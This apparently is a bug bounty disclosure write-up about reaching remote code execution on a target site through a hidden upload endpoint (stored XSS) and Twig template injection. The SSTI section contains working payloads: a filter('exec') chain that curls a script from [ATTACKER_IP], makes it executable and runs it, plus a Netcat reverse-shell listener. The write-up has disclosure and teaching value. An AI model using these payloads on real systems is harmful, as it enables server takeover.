From a 404 to RCE via SSTI and Stored XSS

This report details the methodology behind discovering and exploiting two critical vulnerabilities on the host https://site.target.com. The process demonstrates how a thorough analysis of static files and input surfaces can lead to a full infrastructure compromise.

Reconnaissance and Endpoint Discovery

When initially accessing the target host, the server returned a 404 Not Found error. With no visible interface, the next step was to extract endpoints from the JavaScript files loaded into the DOM.

Using a custom bookmarklet to map static routes, I identified the following base directory: /mtt/public/acc/teste/s/

The analysis was deepened via Chrome DevTools to understand how this directory behaved. The persistence of the path was confirmed and, when accessed directly through the browser, the functional page was finally revealed.

Stored XSS Exploitation via Upload

While analyzing this page's source code, I isolated a resource upload function.

An initial attempt to send files directly to the global endpoint (/base/uploadResource) failed with a server error. However, by applying the directory structure mapped earlier, the request was restructured:

POST https://site.target.com/mtt/public/acc/teste/s/base/uploadResource

The server accepted the upload. Although there was a basic filter that blocked server-side scripts (such as .php), the system generated a dynamic route to render the uploaded content.

The hypothesis was simple: if the server delivered a complete HTML document without sanitization, we'd have a Stored XSS. By uploading a .txt file containing HTML tags and malicious scripts, the link generated by the system confirmed code execution in the client context.

RCE via Server-Side Template Injection (SSTI)

To expand the attack, I used Google Dorking techniques to find other indexed surfaces. The query site:site.target.com returned an accreditation URL:

https://site.target.com/media/17****/accreditation?lang=de/

The page indicated that registrations were closed, but source code analysis and cross-referenced searches in DevTools revealed an alternative registration route still active: /accreditation/:event_id/register

By rebuilding the URL with the previously identified ID, I accessed a working registration form.

Detection and Engine Confirmation

To validate the presence of template injection, I inserted the payload {{7*7}} into the name field. The system processed the registration and the response (or confirmation email) rendered the value 49. The behavior confirmed the SSTI vulnerability, using the Twig (PHP) template engine.

Escalation to Command Execution (RCE)

The exploitation progressed using Twig's filter('exec') filter. The first test validated the execution of the id command with exfiltration via curl to my monitoring server.

With execution confirmed, the final goal was to obtain a Reverse Shell. I hosted a Bash script on a local Python server and automated the process in three steps through the vulnerable field:

1. Download: {{ ['curl http://[ATTACKER_IP]/xx.sh -o /tmp/xxx.sh']|filter('exec') }}
2. Permission: {{ ['chmod +x /tmp/xxx.sh']|filter('exec') }}
3. Execution: {{ ['bash /tmp/xxx.sh']|filter('exec') }}

After setting up the listener with Netcat (nc -vnlp 4445), the connection was received, granting full access to the server.

Conclusion

This case demonstrates that security through obscurity (404 status or hidden routes) is not effective against persistent technical analysis. The combination of endpoint extraction from JS files, indexed search, and the exploitation of misconfigured filters in template engines allowed for the full compromise of the host. The flaws were properly reported and fixed.

The Reward

As a bonus for the responsible disclosure, Red Bull sent over a fitting bounty: several cases of Red Bull delivered straight to my door.

Connect with the author for networking and more technical research: LinkedIn | X/Twitter